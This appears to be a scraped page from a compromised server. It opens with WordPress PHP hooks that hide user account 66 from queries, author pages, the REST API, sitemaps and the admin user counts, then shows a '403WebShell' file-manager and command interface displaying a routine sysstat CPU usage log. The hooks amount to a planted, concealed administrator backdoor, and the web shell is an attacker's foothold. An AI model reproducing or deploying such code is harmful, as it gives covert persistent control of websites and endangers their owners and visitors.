add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/log/sysstat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/log/sysstat/sar26
Linux 6.8.0-136-generic (newplayground) 	2026-07-26 	_aarch64_	(2 CPU)

00:00:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:01        all      5.95      0.23      1.29      0.04      0.00      0.00      0.78      0.00      0.00     91.70
00:10:01          0      5.92      0.25      1.29      0.04      0.00      0.00      0.80      0.00      0.00     91.70
00:10:01          1      5.98      0.22      1.30      0.05      0.00      0.00      0.76      0.00      0.00     91.70
00:20:01        all      9.92      0.01      1.71      0.03      0.00      0.00      0.87      0.00      0.00     87.46
00:20:01          0      9.67      0.00      1.71      0.03      0.00      0.00      0.87      0.00      0.00     87.72
00:20:01          1     10.16      0.02      1.71      0.03      0.00      0.00      0.87      0.00      0.00     87.20
00:30:01        all      9.40      0.01      1.72      0.02      0.00      0.00      0.90      0.00      0.00     87.95
00:30:01          0     10.05      0.00      1.76      0.02      0.00      0.00      0.92      0.00      0.00     87.24
00:30:01          1      8.74      0.02      1.67      0.02      0.00      0.00      0.88      0.00      0.00     88.66
00:40:01        all      7.64      0.01      1.39      0.03      0.00      0.00      0.79      0.00      0.00     90.14
00:40:01          0      8.00      0.00      1.44      0.03      0.00      0.00      0.81      0.00      0.00     89.73
00:40:01          1      7.28      0.02      1.34      0.03      0.00      0.00      0.78      0.00      0.00     90.55
00:50:00        all     17.89      0.01      2.69      0.02      0.00      0.00      0.99      0.00      0.00     78.41
00:50:00          0     17.99      0.02      2.77      0.02      0.00      0.00      0.87      0.00      0.00     78.32
00:50:00          1     17.78      0.00      2.60      0.02      0.00      0.00      1.11      0.00      0.00     78.49
01:00:00        all      5.77      0.01      1.14      0.03      0.00      0.00      0.75      0.00      0.00     92.30
01:00:00          0      5.64      0.00      1.14      0.02      0.00      0.00      0.78      0.00      0.00     92.41
01:00:00          1      5.90      0.02      1.14      0.03      0.00      0.00      0.71      0.00      0.00     92.20
01:10:00        all      6.05      0.01      1.24      0.03      0.00      0.00      0.88      0.00      0.00     91.80
01:10:00          0      6.12      0.02      1.22      0.03      0.00      0.00      0.87      0.00      0.00     91.75
01:10:00          1      5.98      0.01      1.26      0.03      0.00      0.00      0.88      0.00      0.00     91.85
01:20:00        all      6.69      0.01      1.32      0.03      0.00      0.00      0.81      0.00      0.00     91.14
01:20:00          0      6.88      0.00      1.36      0.03      0.00      0.00      0.83      0.00      0.00     90.91
01:20:00          1      6.51      0.02      1.28      0.03      0.00      0.00      0.79      0.00      0.00     91.38
01:30:00        all      6.21      0.01      1.26      0.02      0.00      0.00      0.85      0.00      0.00     91.64
01:30:00          0      6.21      0.00      1.25      0.02      0.00      0.00      0.88      0.00      0.00     91.64
01:30:00          1      6.21      0.02      1.28      0.03      0.00      0.00      0.83      0.00      0.00     91.64
01:40:00        all      6.34      0.01      1.28      0.03      0.00      0.00      0.85      0.00      0.00     91.49
01:40:00          0      6.42      0.02      1.28      0.03      0.00      0.00      0.87      0.00      0.00     91.39
01:40:00          1      6.26      0.00      1.29      0.03      0.00      0.00      0.84      0.00      0.00     91.59
01:50:00        all      8.69      0.01      1.52      0.03      0.00      0.00      0.77      0.00      0.00     88.98
01:50:00          0      8.72      0.02      1.52      0.02      0.00      0.00      0.80      0.00      0.00     88.92
01:50:00          1      8.66      0.00      1.52      0.03      0.00      0.00      0.75      0.00      0.00     89.05

01:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:00        all      7.64      0.01      1.39      0.03      0.00      0.00      0.78      0.00      0.00     90.15
02:00:00          0      7.77      0.02      1.40      0.02      0.00      0.00      0.78      0.00      0.00     90.01
02:00:00          1      7.51      0.00      1.39      0.03      0.00      0.00      0.77      0.00      0.00     90.30
02:10:00        all      6.79      0.01      1.36      0.03      0.00      0.00      0.79      0.00      0.00     91.02
02:10:00          0      6.84      0.00      1.37      0.03      0.00      0.00      0.83      0.00      0.00     90.92
02:10:00          1      6.75      0.02      1.34      0.02      0.00      0.00      0.74      0.00      0.00     91.13
02:20:00        all      6.49      0.01      1.27      0.03      0.00      0.00      0.76      0.00      0.00     91.44
02:20:00          0      6.74      0.02      1.28      0.02      0.00      0.00      0.79      0.00      0.00     91.14
02:20:00          1      6.25      0.00      1.26      0.03      0.00      0.00      0.74      0.00      0.00     91.73
02:30:00        all      7.05      0.01      1.35      0.02      0.00      0.00      0.90      0.00      0.00     90.66
02:30:00          0      7.44      0.00      1.43      0.02      0.00      0.00      0.93      0.00      0.00     90.18
02:30:00          1      6.65      0.03      1.28      0.03      0.00      0.00      0.87      0.00      0.00     91.15
02:40:00        all     10.65      0.01      1.85      0.03      0.00      0.00      0.93      0.00      0.00     86.54
02:40:00          0     10.89      0.01      1.85      0.03      0.00      0.00      0.95      0.00      0.00     86.28
02:40:00          1     10.40      0.02      1.85      0.04      0.00      0.00      0.91      0.00      0.00     86.79
02:50:00        all      8.93      0.01      1.70      0.05      0.00      0.00      0.94      0.00      0.00     88.37
02:50:00          0      9.14      0.00      1.72      0.05      0.00      0.00      0.97      0.00      0.00     88.12
02:50:00          1      8.71      0.02      1.69      0.04      0.00      0.00      0.92      0.00      0.00     88.62
03:00:00        all      5.93      0.01      1.24      0.02      0.00      0.00      0.81      0.00      0.00     91.99
03:00:00          0      5.95      0.00      1.23      0.02      0.00      0.00      0.85      0.00      0.00     91.95
03:00:00          1      5.91      0.02      1.25      0.03      0.00      0.00      0.77      0.00      0.00     92.02
03:10:00        all      6.42      0.01      1.36      0.07      0.00      0.00      0.78      0.00      0.00     91.36
03:10:00          0      6.36      0.02      1.35      0.06      0.00      0.00      0.82      0.00      0.00     91.38
03:10:00          1      6.48      0.00      1.36      0.07      0.00      0.00      0.75      0.00      0.00     91.35
03:20:01        all      6.80      0.02      1.32      0.03      0.00      0.00      0.75      0.00      0.00     91.08
03:20:01          0      7.01      0.00      1.32      0.03      0.00      0.00      0.79      0.00      0.00     90.84
03:20:01          1      6.58      0.05      1.32      0.02      0.00      0.00      0.71      0.00      0.00     91.32
03:30:01        all      5.86      0.01      1.21      0.02      0.00      0.00      0.77      0.00      0.00     92.12
03:30:01          0      6.04      0.02      1.23      0.02      0.00      0.00      0.80      0.00      0.00     91.87
03:30:01          1      5.68      0.00      1.19      0.02      0.00      0.00      0.75      0.00      0.00     92.36
03:40:01        all     11.50      0.01      2.11      0.03      0.00      0.00      0.98      0.00      0.00     85.37
03:40:01          0     11.60      0.02      2.12      0.02      0.00      0.00      0.98      0.00      0.00     85.25
03:40:01          1     11.39      0.00      2.10      0.03      0.00      0.00      0.99      0.00      0.00     85.49

03:40:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
03:50:01        all      6.36      0.01      1.29      0.03      0.00      0.00      0.84      0.00      0.00     91.48
03:50:01          0      6.31      0.02      1.30      0.03      0.00      0.00      0.85      0.00      0.00     91.49
03:50:01          1      6.41      0.00      1.29      0.03      0.00      0.00      0.82      0.00      0.00     91.46
04:00:01        all      6.39      0.01      1.27      0.02      0.00      0.00      0.75      0.00      0.00     91.56
04:00:01          0      6.45      0.00      1.29      0.02      0.00      0.00      0.78      0.00      0.00     91.46
04:00:01          1      6.34      0.02      1.25      0.02      0.00      0.00      0.72      0.00      0.00     91.66
04:10:01        all      8.18      0.01      1.57      0.03      0.00      0.00      0.81      0.00      0.00     89.41
04:10:01          0      8.50      0.02      1.62      0.03      0.00      0.00      0.83      0.00      0.00     89.00
04:10:01          1      7.85      0.00      1.52      0.03      0.00      0.00      0.78      0.00      0.00     89.83
04:20:01        all      5.90      0.01      1.17      0.02      0.00      0.00      0.73      0.00      0.00     92.17
04:20:01          0      6.06      0.00      1.20      0.03      0.00      0.00      0.77      0.00      0.00     91.94
04:20:01          1      5.73      0.02      1.14      0.02      0.00      0.00      0.68      0.00      0.00     92.40
04:30:01        all     14.95      0.01      2.55      0.05      0.00      0.00      1.10      0.00      0.00     81.34
04:30:01          0     16.11      0.02      2.73      0.05      0.00      0.00      1.08      0.00      0.00     80.02
04:30:01          1     13.79      0.00      2.38      0.05      0.00      0.00      1.11      0.00      0.00     82.68
04:40:01        all      6.77      0.01      1.36      0.02      0.00      0.00      0.84      0.00      0.00     90.99
04:40:01          0      6.98      0.02      1.39      0.02      0.00      0.00      0.85      0.00      0.00     90.74
04:40:01          1      6.56      0.00      1.34      0.03      0.00      0.00      0.83      0.00      0.00     91.25
04:50:01        all      5.74      0.01      1.19      0.02      0.00      0.00      0.78      0.00      0.00     92.25
04:50:01          0      5.80      0.02      1.18      0.03      0.00      0.00      0.81      0.00      0.00     92.17
04:50:01          1      5.69      0.00      1.20      0.02      0.00      0.00      0.75      0.00      0.00     92.33
05:00:01        all      6.14      0.01      1.22      0.03      0.00      0.00      0.76      0.00      0.00     91.85
05:00:01          0      6.21      0.00      1.22      0.02      0.00      0.00      0.80      0.00      0.00     91.75
05:00:01          1      6.06      0.02      1.21      0.03      0.00      0.00      0.72      0.00      0.00     91.96
05:10:00        all      6.98      0.01      1.36      0.03      0.00      0.00      0.78      0.00      0.00     90.84
05:10:00          0      7.00      0.02      1.38      0.03      0.00      0.00      0.81      0.00      0.00     90.76
05:10:00          1      6.96      0.00      1.35      0.03      0.00      0.00      0.75      0.00      0.00     90.92
05:20:01        all      8.74      0.01      1.58      0.03      0.00      0.00      0.82      0.00      0.00     88.83
05:20:01          0      9.43      0.01      1.67      0.03      0.00      0.00      0.84      0.00      0.00     88.03
05:20:01          1      8.04      0.02      1.48      0.03      0.00      0.00      0.80      0.00      0.00     89.64
05:30:01        all      5.69      0.01      1.16      0.02      0.00      0.00      0.74      0.00      0.00     92.37
05:30:01          0      6.03      0.02      1.18      0.02      0.00      0.00      0.78      0.00      0.00     91.97
05:30:01          1      5.35      0.01      1.15      0.03      0.00      0.00      0.70      0.00      0.00     92.78

05:30:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
05:40:01        all      5.93      0.01      1.25      0.02      0.00      0.00      0.79      0.00      0.00     92.01
05:40:01          0      6.01      0.00      1.26      0.02      0.00      0.00      0.82      0.00      0.00     91.89
05:40:01          1      5.84      0.02      1.23      0.03      0.00      0.00      0.76      0.00      0.00     92.12
05:50:01        all      5.63      0.01      1.20      0.02      0.00      0.00      0.82      0.00      0.00     92.32
05:50:01          0      5.68      0.02      1.20      0.03      0.00      0.00      0.86      0.00      0.00     92.20
05:50:01          1      5.57      0.00      1.20      0.02      0.00      0.00      0.76      0.00      0.00     92.44
06:00:01        all      6.69      0.01      1.29      0.02      0.00      0.00      0.74      0.00      0.00     91.25
06:00:01          0      7.12      0.00      1.31      0.02      0.00      0.00      0.76      0.00      0.00     90.78
06:00:01          1      6.26      0.02      1.26      0.02      0.00      0.00      0.72      0.00      0.00     91.72
06:10:01        all     11.06      0.01      1.89      0.03      0.00      0.00      0.98      0.00      0.00     86.03
06:10:01          0     12.13      0.02      1.96      0.03      0.00      0.00      0.96      0.00      0.00     84.90
06:10:01          1      9.98      0.00      1.83      0.03      0.00      0.00      0.99      0.00      0.00     87.17
06:20:01        all     17.99      0.01      2.84      0.06      0.00      0.00      1.13      0.00      0.00     77.97
06:20:01          0     19.00      0.00      2.87      0.04      0.00      0.00      1.11      0.00      0.00     76.98
06:20:01          1     16.96      0.02      2.80      0.09      0.00      0.00      1.14      0.00      0.00     78.98
06:30:01        all     18.45      0.07      2.89      0.03      0.00      0.00      1.16      0.00      0.00     77.40
06:30:01          0     18.96      0.03      2.97      0.02      0.00      0.00      1.14      0.00      0.00     76.87
06:30:01          1     17.94      0.10      2.80      0.04      0.00      0.00      1.18      0.00      0.00     77.94
06:40:01        all     18.52      0.01      2.86      0.03      0.00      0.00      1.15      0.00      0.00     77.44
06:40:01          0     20.15      0.02      3.04      0.03      0.00      0.00      1.09      0.00      0.00     75.67
06:40:01          1     16.87      0.00      2.67      0.03      0.00      0.00      1.21      0.00      0.00     79.22
06:50:01        all      6.38      0.01      1.24      0.03      0.00      0.00      0.79      0.00      0.00     91.56
06:50:01          0      6.44      0.03      1.24      0.03      0.00      0.00      0.82      0.00      0.00     91.44
06:50:01          1      6.31      0.00      1.23      0.03      0.00      0.00      0.76      0.00      0.00     91.67
07:00:02        all      6.83      0.01      1.28      0.02      0.00      0.00      0.79      0.00      0.00     91.06
07:00:02          0      6.66      0.00      1.28      0.03      0.00      0.00      0.83      0.00      0.00     91.20
07:00:02          1      6.99      0.02      1.28      0.02      0.00      0.00      0.75      0.00      0.00     90.92
07:10:01        all      6.94      0.01      1.40      0.03      0.00      0.00      0.85      0.00      0.00     90.78
07:10:01          0      7.23      0.02      1.43      0.02      0.00      0.00      0.89      0.00      0.00     90.41
07:10:01          1      6.64      0.00      1.36      0.03      0.00      0.00      0.81      0.00      0.00     91.16
07:20:01        all      5.59      0.01      1.15      0.02      0.00      0.00      0.75      0.00      0.00     92.47
07:20:01          0      5.70      0.00      1.17      0.02      0.00      0.00      0.76      0.00      0.00     92.34
07:20:01          1      5.47      0.03      1.13      0.03      0.00      0.00      0.75      0.00      0.00     92.60

07:20:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
07:30:01        all      6.62      0.01      1.28      0.02      0.00      0.00      0.78      0.00      0.00     91.28
07:30:01          0      6.72      0.00      1.27      0.02      0.00      0.00      0.81      0.00      0.00     91.18
07:30:01          1      6.52      0.02      1.29      0.03      0.00      0.00      0.75      0.00      0.00     91.39
07:40:01        all      6.88      0.01      1.37      0.03      0.00      0.00      0.84      0.00      0.00     90.88
07:40:01          0      7.10      0.00      1.39      0.03      0.00      0.00      0.83      0.00      0.00     90.65
07:40:01          1      6.65      0.02      1.35      0.03      0.00      0.00      0.84      0.00      0.00     91.11
07:50:00        all      8.49      0.01      1.52      0.03      0.00      0.00      0.96      0.00      0.00     88.99
07:50:00          0      8.86      0.01      1.57      0.03      0.00      0.00      0.94      0.00      0.00     88.59
07:50:00          1      8.12      0.01      1.48      0.03      0.00      0.00      0.97      0.00      0.00     89.39
08:00:01        all      5.68      0.01      1.22      0.02      0.00      0.00      0.76      0.00      0.00     92.31
08:00:01          0      5.73      0.02      1.22      0.02      0.00      0.00      0.77      0.00      0.00     92.24
08:00:01          1      5.62      0.00      1.21      0.03      0.00      0.00      0.75      0.00      0.00     92.38
08:10:00        all      7.34      0.01      1.45      0.03      0.00      0.00      0.81      0.00      0.00     90.37
08:10:00          0      7.66      0.02      1.49      0.02      0.00      0.00      0.83      0.00      0.00     89.97
08:10:00          1      7.01      0.00      1.41      0.03      0.00      0.00      0.78      0.00      0.00     90.76
08:20:01        all      8.26      0.01      1.59      0.03      0.00      0.00      0.89      0.00      0.00     89.22
08:20:01          0      8.62      0.00      1.67      0.03      0.00      0.00      0.89      0.00      0.00     88.79
08:20:01          1      7.90      0.02      1.51      0.03      0.00      0.00      0.88      0.00      0.00     89.66
08:30:01        all      6.74      0.01      1.52      0.15      0.00      0.00      0.79      0.00      0.00     90.79
08:30:01          0      7.06      0.00      1.56      0.17      0.00      0.00      0.81      0.00      0.00     90.41
08:30:01          1      6.43      0.02      1.48      0.14      0.00      0.00      0.76      0.00      0.00     91.17
08:40:01        all      5.79      0.01      1.23      0.04      0.00      0.00      0.82      0.00      0.00     92.12
08:40:01          0      5.82      0.02      1.23      0.04      0.00      0.00      0.84      0.00      0.00     92.05
08:40:01          1      5.76      0.00      1.22      0.03      0.00      0.00      0.80      0.00      0.00     92.18
08:50:00        all      5.64      0.01      1.21      0.05      0.00      0.00      0.78      0.00      0.00     92.31
08:50:00          0      5.73      0.00      1.21      0.06      0.00      0.00      0.78      0.00      0.00     92.22
08:50:00          1      5.54      0.02      1.20      0.04      0.00      0.00      0.78      0.00      0.00     92.41
09:00:01        all      6.74      0.01      1.27      0.03      0.00      0.00      0.74      0.00      0.00     91.21
09:00:01          0      6.80      0.00      1.31      0.03      0.00      0.00      0.77      0.00      0.00     91.10
09:00:01          1      6.67      0.02      1.24      0.03      0.00      0.00      0.72      0.00      0.00     91.33
09:10:01        all      6.15      0.01      1.29      0.03      0.00      0.00      0.79      0.00      0.00     91.73
09:10:01          0      6.22      0.01      1.29      0.02      0.00      0.00      0.81      0.00      0.00     91.65
09:10:01          1      6.08      0.02      1.29      0.03      0.00      0.00      0.77      0.00      0.00     91.82

09:10:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
09:20:01        all      4.73      0.01      1.05      0.02      0.00      0.00      0.62      0.00      0.00     93.57
09:20:01          0      4.88      0.01      1.05      0.03      0.00      0.00      0.65      0.00      0.00     93.38
09:20:01          1      4.57      0.01      1.04      0.02      0.00      0.00      0.59      0.00      0.00     93.77
09:30:01        all      4.94      0.01      1.05      0.02      0.00      0.00      0.68      0.00      0.00     93.30
09:30:01          0      4.97      0.02      1.06      0.02      0.00      0.00      0.72      0.00      0.00     93.21
09:30:01          1      4.90      0.00      1.04      0.02      0.00      0.00      0.64      0.00      0.00     93.39
09:40:02        all      5.78      0.01      1.17      0.02      0.00      0.00      0.66      0.00      0.00     92.36
09:40:02          0      5.84      0.01      1.21      0.02      0.00      0.00      0.69      0.00      0.00     92.23
09:40:02          1      5.72      0.01      1.14      0.03      0.00      0.00      0.62      0.00      0.00     92.48
09:50:01        all      5.77      0.01      1.22      0.03      0.00      0.00      0.74      0.00      0.00     92.23
09:50:01          0      5.76      0.00      1.23      0.03      0.00      0.00      0.78      0.00      0.00     92.20
09:50:01          1      5.79      0.02      1.21      0.03      0.00      0.00      0.70      0.00      0.00     92.25
10:00:01        all      6.29      0.01      1.27      0.02      0.00      0.00      0.76      0.00      0.00     91.64
10:00:01          0      6.28      0.00      1.27      0.03      0.00      0.00      0.80      0.00      0.00     91.61
10:00:01          1      6.29      0.02      1.27      0.02      0.00      0.00      0.73      0.00      0.00     91.67
10:10:01        all      5.85      0.01      1.24      0.03      0.00      0.00      0.73      0.00      0.00     92.15
10:10:01          0      6.15      0.01      1.26      0.03      0.00      0.00      0.76      0.00      0.00     91.80
10:10:01          1      5.54      0.02      1.21      0.03      0.00      0.00      0.69      0.00      0.00     92.51
10:20:01        all     12.85      0.01      2.22      0.03      0.00      0.00      0.96      0.00      0.00     83.92
10:20:01          0     13.46      0.00      2.29      0.02      0.00      0.00      0.94      0.00      0.00     83.29
10:20:01          1     12.24      0.02      2.16      0.03      0.00      0.00      0.99      0.00      0.00     84.56
10:30:00        all      5.40      0.01      1.20      0.03      0.00      0.00      0.74      0.00      0.00     92.62
10:30:00          0      5.47      0.01      1.21      0.02      0.00      0.00      0.74      0.00      0.00     92.54
10:30:00          1      5.32      0.01      1.20      0.03      0.00      0.00      0.74      0.00      0.00     92.71
10:40:01        all      5.89      0.01      1.27      0.03      0.00      0.00      0.73      0.00      0.00     92.08
10:40:01          0      5.93      0.00      1.30      0.03      0.00      0.00      0.74      0.00      0.00     92.00
10:40:01          1      5.85      0.02      1.24      0.03      0.00      0.00      0.71      0.00      0.00     92.16
10:50:01        all      5.66      0.02      1.21      0.03      0.00      0.00      0.72      0.00      0.00     92.36
10:50:01          0      5.76      0.03      1.23      0.04      0.00      0.00      0.75      0.00      0.00     92.19
10:50:01          1      5.56      0.01      1.18      0.03      0.00      0.00      0.70      0.00      0.00     92.53
11:00:01        all      6.39      0.01      1.26      0.02      0.00      0.00      0.73      0.00      0.00     91.58
11:00:01          0      6.47      0.00      1.29      0.03      0.00      0.00      0.76      0.00      0.00     91.46
11:00:01          1      6.32      0.03      1.23      0.02      0.00      0.00      0.71      0.00      0.00     91.69

11:00:01        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
11:10:00        all      8.58      0.01      1.52      0.03      0.00      0.00      0.87      0.00      0.00     88.99
11:10:00          0      9.07      0.02      1.57      0.03      0.00      0.00      0.91      0.00      0.00     88.40
11:10:00          1      8.09      0.00      1.46      0.03      0.00      0.00      0.83      0.00      0.00     89.59
11:20:00        all      5.83      0.01      1.25      0.02      0.00      0.00      0.77      0.00      0.00     92.12
11:20:00          0      5.96      0.02      1.26      0.02      0.00      0.00      0.79      0.00      0.00     91.95
11:20:00          1      5.69      0.00      1.24      0.02      0.00      0.00      0.74      0.00      0.00     92.30
11:30:00        all      5.64      0.01      1.19      0.02      0.00      0.00      0.76      0.00      0.00     92.37
11:30:00          0      5.86      0.01      1.22      0.03      0.00      0.00      0.78      0.00      0.00     92.11
11:30:00          1      5.42      0.02      1.16      0.02      0.00      0.00      0.75      0.00      0.00     92.63
11:40:00        all      5.83      0.01      1.25      0.03      0.00      0.00      0.75      0.00      0.00     92.13
11:40:00          0      5.95      0.02      1.26      0.02      0.00      0.00      0.78      0.00      0.00     91.97
11:40:00          1      5.71      0.00      1.24      0.03      0.00      0.00      0.71      0.00      0.00     92.30
11:50:00        all      6.23      0.01      1.23      0.03      0.00      0.00      0.71      0.00      0.00     91.79
11:50:00          0      6.20      0.02      1.22      0.02      0.00      0.00      0.75      0.00      0.00     91.78
11:50:00          1      6.26      0.00      1.23      0.03      0.00      0.00      0.67      0.00      0.00     91.81
12:00:00        all      5.74      0.01      1.17      0.02      0.00      0.00      0.73      0.00      0.00     92.32
12:00:00          0      5.91      0.01      1.17      0.02      0.00      0.00      0.78      0.00      0.00     92.11
12:00:00          1      5.57      0.02      1.17      0.02      0.00      0.00      0.69      0.00      0.00     92.54
12:10:00        all      6.08      0.01      1.28      0.03      0.00      0.00      0.78      0.00      0.00     91.82
12:10:00          0      6.35      0.00      1.31      0.03      0.00      0.00      0.80      0.00      0.00     91.52
12:10:00          1      5.81      0.02      1.26      0.03      0.00      0.00      0.75      0.00      0.00     92.13
12:20:00        all      6.05      0.01      1.30      0.03      0.00      0.00      0.86      0.00      0.00     91.76
12:20:00          0      6.03      0.02      1.29      0.02      0.00      0.00      0.87      0.00      0.00     91.76
12:20:00          1      6.08      0.00      1.30      0.03      0.00      0.00      0.84      0.00      0.00     91.76
12:30:00        all      6.14      0.01      1.27      0.02      0.00      0.00      0.81      0.00      0.00     91.74
12:30:00          0      6.29      0.00      1.29      0.02      0.00      0.00      0.83      0.00      0.00     91.56
12:30:00          1      5.99      0.02      1.25      0.03      0.00      0.00      0.79      0.00      0.00     91.92
12:40:00        all      6.60      0.01      1.34      0.03      0.00      0.00      0.79      0.00      0.00     91.23
12:40:00          0      6.87      0.02      1.32      0.03      0.00      0.00      0.82      0.00      0.00     90.94
12:40:00          1      6.34      0.00      1.35      0.03      0.00      0.00      0.76      0.00      0.00     91.53
12:50:00        all      5.95      0.01      1.25      0.03      0.00      0.00      0.77      0.00      0.00     91.98
12:50:00          0      5.86      0.02      1.23      0.03      0.00      0.00      0.80      0.00      0.00     92.05
12:50:00          1      6.04      0.00      1.27      0.03      0.00      0.00      0.74      0.00      0.00     91.92

12:50:00        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
13:00:00        all      6.07      0.01      1.26      0.02      0.00      0.00      0.83      0.00      0.00     91.80
13:00:00          0      6.24      0.00      1.26      0.02      0.00      0.00      0.86      0.00      0.00     91.62
13:00:00          1      5.91      0.02      1.26      0.03      0.00      0.00      0.80      0.00      0.00     91.98
13:10:00        all      6.01      0.01      1.30      0.03      0.00      0.00      0.83      0.00      0.00     91.82
13:10:00          0      5.94      0.02      1.32      0.03      0.00      0.00      0.88      0.00      0.00     91.81
13:10:00          1      6.07      0.00      1.28      0.03      0.00      0.00      0.79      0.00      0.00     91.83
13:20:00        all      6.20      0.01      1.28      0.03      0.00      0.00      0.80      0.00      0.00     91.68
13:20:00          0      6.43      0.00      1.30      0.03      0.00      0.00      0.84      0.00      0.00     91.41
13:20:00          1      5.98      0.02      1.25      0.03      0.00      0.00      0.77      0.00      0.00     91.95
13:30:00        all      6.07      0.01      1.23      0.02      0.00      0.00      0.79      0.00      0.00     91.88
13:30:00          0      6.13      0.00      1.22      0.02      0.00      0.00      0.82      0.00      0.00     91.81
13:30:00          1      6.00      0.02      1.23      0.02      0.00      0.00      0.76      0.00      0.00     91.96
